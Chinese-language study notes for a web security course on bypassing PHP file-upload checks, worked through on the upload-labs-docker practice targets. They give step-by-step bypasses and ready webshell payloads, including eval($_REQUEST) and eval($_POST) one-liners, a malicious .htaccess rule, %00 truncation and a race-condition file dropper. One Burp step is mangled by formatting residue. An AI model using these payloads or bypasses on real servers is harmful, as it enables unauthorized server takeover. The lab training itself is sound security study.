047-WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过
#知识点:
1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷
演示案例:
➢PHP-原生态-文件上传-前后端验证
➢PHP-原生态-文件上传-类型文件头验证
➢PHP-原生态-文件上传-后缀黑白名单验证
➢PHP-原生态-文件上传-解析配置&二次渲染
➢PHP-原生态-文件上传-逻辑缺陷&函数缺陷
#学习前必读:
1、课前一定要明白:
无文件解析==安全问题上,格式解析是一对一的(不能jpg解析php)==
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
#测试环境安装参考:
https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker
0、下载上述资源
1、docker安装
f8x -d 或 f8x -docker
2、进入项目文件夹
cd upload-labs-docker
3、一键部署(如果发现连接不上靶场,再此输入此代码重新部署即可)
docker-compose up -d
4、查看是否成功部署-(发现成功开启靶场端口,配置成功)
docker-compose config
命令用于验证和查看 Docker Compose 根据你的 docker-compose.yml
文件和任何环境变量生成的最终配置。该命令有助于检查 Compose 文件的有效性,并查看在运行 docker-compose up
时将应用的配置。
以下是 docker-compose config
命令的解释:
-
命令:
docker-compose config
-
用途:
- 验证: 它验证
docker-compose.yml
文件的语法和结构。 - 配置预览: 它显示 Docker Compose 将根据指定的 Compose 文件和任何环境变量使用的最终配置。
- 验证: 它验证
-
用法:
- 导航到包含你的
docker-compose.yml
文件的目录。 - 运行
docker-compose config
命令。
- 导航到包含你的
-
输出:
- 如果
docker-compose.yml
文件有效,则该命令将在控制台上显示生成的配置。
- 如果
-
示例:
cd /path/to/your/docker-compose/project docker-compose config
-
常见用例:
- 确保 Compose 文件编写正确且符合预期的语法。
- 查看最终配置,包括任何变量替换或特定于环境的调整。
通过运行 docker-compose config
,你可以捕获语法错误并在实际使用 docker-compose up
部署服务之前获得对将使用的配置的概述。
#upload-labs-docker知识点:
-
打开burp进行抓包,并访问靶场网址http://192.168.200.130:30001/
-
打开哥斯拉,生成木马文件
1、前端JS
-
如何判断是否是前端验证呢?
-
首先抓包监听,如果上传文件的时候==还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,==那么这个多半就是前端校验了
-
代码判断:打开页面查看源码,发现在前端有对应过滤代码
-
-
解决方式:
- 首先将木马文件的后缀修改为jpg,可以通过过滤的文件后缀
- 通过burp抓取到数据包,修改回对应的木马文件解析后缀
- 木马程序成功上传,即可通过哥斯拉,获取权限
- 获取上传的对应木马文件的地址URL:192.168.200.130:30001/upload/1.php
- 使用哥斯拉连接,进入后门,拿取权限
2、.htaccess(配置 Apache Web 服务器行为的配置文件)
AddType application/x-httpd-php .png
这行代码的含义是将文件扩展名为 .png
的文件的 MIME 类型设置为 application/x-httpd-php
。
-
将木马后缀修改上传对应设置的文件后缀 .png,后上传
-
通过burp进行抓包,并将文件后缀修改为**.htaccess**,并将代码内容修改为AddType application/x-httpd-php .png
-
注意:直接访问对应上传1.png的路径http://192.168.200.130:30002/upload/1.png),访问http://192.168.200.130:30002/upload/.htaccess 这个是解析木马文件的规则,直接访问会报错403
需要注意:无文件解析安全问题上,格式解析是一对一的
例如:规定的解析规则是AddType application/x-httpd-php .png
- 但是如果上传的文件为jpg等,则木马文件不会被解析。
3、MIME类型-(修改文件类型,抓包修改回文件类型)
Content-Type:image/png
- 将木马后缀修改为可以通过文件过滤的后缀png并上传
- 通过burp进行抓包,并将木马文件后缀名修改回来
- 成功上传,并获取到文件上传路径URL:http://192.168.200.130:30003/upload/1.php
- 通过哥斯拉,通过后门,获取权限
4、文件头判断
GIF89a
- 首先将木马文件代码前加入文件头(GIF89a)gif所有文件默认的文件头
- 将任意的gif文件上传,获取文件格式Content-Type: image/gif
- 将木马文件进行上传,并将文件格式修改为获取的gif文件格式,然后上传
- 成功上传,并获取到文件上传路径URL:192.168.200.130:30004/upload/shell.php
- 通过哥斯拉,通过后门,获取权限
5、黑名单-过滤不严
无递归,pphphp
- 即黑名单中的词 “php” 被替换为空字符串,但留下了 “pphphp”。
- 这是因为
str_ireplace()
函数会对字符串进行不区分大小写的替换。
- 正常上传木马程序shell.php,发现有黑名单过滤关键词“php”
- 抓包,将文件后缀修改为.pphphp即可成功上传
- 获取上传地址URL:http://192.168.200.130:30005/upload/shell.php
- 通过哥斯拉,连接后门,获取权限
6、黑名单-过滤不严
系统大小写敏感属性
-
window:大小写过滤不敏感
-
linux:大小写过滤敏感
-
直接使用木马文件shell.php上传,后缀会被替换为空
-
将后缀名修改为.phP,则可以绕过过滤
-
7、低版本GET-%00截断
URL路径出现在POST的URL中自动解码一次
/var/www/html/upload/x.php%00
原理:将木马文件以.jpg格式上传,可以获得到一个对应.jpg文件img src="./upload/9720240216044425.jpg
通过修改POST中URL路径使用%00截取,也就是说只有前面x.php被拼接到名称中,后面都被舍弃,在文件解析时候,依照被拼接的x.php进行文件解析,木马文件被成功解析
- 随便上传文件,抓包并发送至Repeater,并发送查看回显数据,PHP版本为5.2.17
- 将木马文件修改为**.jpg**,并上传抓包,将POST中URL路径路径加上**/var/www/html/upload/
a.php%00
**- 访问对应的URL文件上传地址:http://192.168.200.130:30007/upload/a.php
- 通过哥斯拉,连接后门,获取权限
8、低版本POST-%00截断
手工解码一次
…/upload/x.php%00 二次解码
**URL路径出现在POST下面的数据包中,需要手动解码**
- 上传木马文件修改为.jpg格式,抓包,发现URL路径出现在POST下面的数据包中
- 将./upload/后面加上**
x.php%00
,并选中该行,右键选择Convert selection → URL →URL-decode
**将所选内容转换为 URL →→URL 解码(进行手动转码)- 访问对应的URL文件上传地址:http://192.168.200.130:30008/upload/x.php
- 通过哥斯拉,连接后门,获取权限
9、黑名单-过滤不严
php3
原理:源码通过黑名单中的关键词后缀进行过滤,但是由于,无法考虑全面而造成可以通过其他后缀名称进行绕过,使用字典替换抓包的文件后缀,通过判断长度变化,是否成功上传对应的木马文件
上传木马文件shell.php,通过抓包发送至Intruder
选择Clear$ 清除所有选中,选择 ∗ ∗ 木马文件后缀 p h p ,并按下 A d d 清除所有选中,选择**木马文件后缀php,并按下Add 清除所有选中,选择∗∗木马文件后缀php,并按下Add替换该后缀**
选择==Payloads,Payload Options→Load导入对应php后缀替换字典
G:\develop\safety\字典\fuzzdb-master\attack\file-upload\alt-extensions-php.txt
==选择右上角Start attack,发现Length的长度不同,1573的是没有替换成功的,1625是替换成功的(不是绝对的,还需要通过哥斯拉验证后妈是否可以连接才能确定)
访问对应的URL文件上传地址:http://192.168.200.130:30009/upload/shell.php5
通过哥斯拉,连接后门,获取权限
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
fopen('xiao.php','w')
: 打开或创建一个名为 'xiao.php’ 的文件,以写入模式 (‘w’)。fputs
: 将后面的内容写入打开的文件。在这里,它将一段 PHP 代码写入 ‘xiao.php’ 文件中。- 写入的 PHP 代码:。这段代码包含一个 函数,它会执行作为参数传递的 PHP 代码。参数通过 获取,这意味着它会从 HTTP 请求的参数中获取第一个参数,然后执行其中的 PHP 代码。
<?php eval($_REQUEST[1]);?>eval$_REQUEST[1]
上传不断发包
请求不断发包
-
创建新的木马文件,其中代码为
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
-
首先刷新想要获取的木马文件路径**(请求页面)
http://192.168.200.130:30010/upload/x.php
**。通过抓包抓取到请求页面,并将此数据包发送至Intruder -
选中
Payloads→Payloads Sets→Payload type:Null payloads
(负载类型:空负载) -
Payload Options →Continue indefinitely
(无限继续) -
将设置好的木马文件上传,抓包并发送至Intruder,记得删除clear $**(上传发包)**同样设置无限发包
-
访问对应的URL文件上传地址:http://192.168.200.130:30010/upload/xiao.php
-
通过哥斯拉,**注意:由于木马文件中的密码有变化,变为1
<?php eval($_REQUEST[1]);?>
所以在测试后门连接的时候,需要注意,将代码对应修改为1,**连接后门,获取权限
11、二次渲染
- 先搞个正常图片1.gif,上传导出渲染后的图片
- 将两张图片拉进010编辑器,打开工具→比较文件对比保留(匹配)部分,在保留部分添加后门代码
<?php eval($_POST["pass"]);?>
- 最后利用提示的文件包含执行图片后门代码
- http://192.168.200.130:30011/
?file=upload/1919801737.gif
- pass=phpinfo();
12、函数缺陷
move_uploaded_file 1.php/.
move_uploaded_file
是一个用于将上传文件移动到指定位置的 PHP 函数。它的语法如下:
move_uploaded_file(string $filename, string $destination): bool
其中,$filename
是上传文件的临时路径,$destination
是目标位置的路径和文件名。
这个函数的作用是将上传的文件从临时目录移动到指定的位置。它通常用于处理文件上传功能,确保上传的文件能够被正确保存到服务器上的指定位置。
- 将自定义的保存文件名称写为1.php/.
- 将木马文件后缀修改为,jpg并上传
- 上传成功,获取对应的URL:192.168.200.130:30012/upload/1.php/
- 通过哥斯拉,连接后门,获取权限
13、代码审计-数组绕过
-----------------------------174283082921961
Content-Disposition: form-data; name=“save_name[0]”
http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name=“save_name[2]”
gif
#删除Docker镜像和容器
如何优雅地删除Docker镜像和容器(超详细)_docker 删除镜像-CSDN博客
docker images
docker ps
docker rmi -f image_id
docker rm -f container_id
在对应目录下,输入docker-compose down
停止和删除使用 Docker Compose 启动的容器
-
docker images
:- 用于列出本地系统上的 Docker 镜像。
- 示例输出显示了已下载的镜像,包括镜像的名称、标签、镜像 ID、创建时间、大小等信息。
docker images
-
docker ps
:- 用于列出正在运行的 Docker 容器。
- 示例输出包括容器的 ID、名称、镜像、端口映射等信息。
- 如果要列出所有容器,包括已停止的容器,可以使用
docker ps -a
。
docker ps
-
docker rmi -f image_id
:- 用于删除本地的 Docker 镜像。
f
或-force
选项表示强制删除,即使镜像正在被使用也会被删除。- 将
image_id
替换为要删除的镜像的实际 ID。(仅仅输入ID前三个字符即可)
docker rmi -f image_id
-
docker rm -f container_id
:- 用于删除本地的 Docker 容器。
f
或-force
选项表示强制删除,即使容器正在运行也会被删除。- 将
container_id
替换为要删除的容器的实际 ID。(仅仅输入ID前三个字符即可)
docker rm -f container_id
请注意,强制删除容器或镜像可能会导致数据丢失,并且在正常情况下最好先停止容器再删除。确保在执行这些命令之前了解其潜在影响。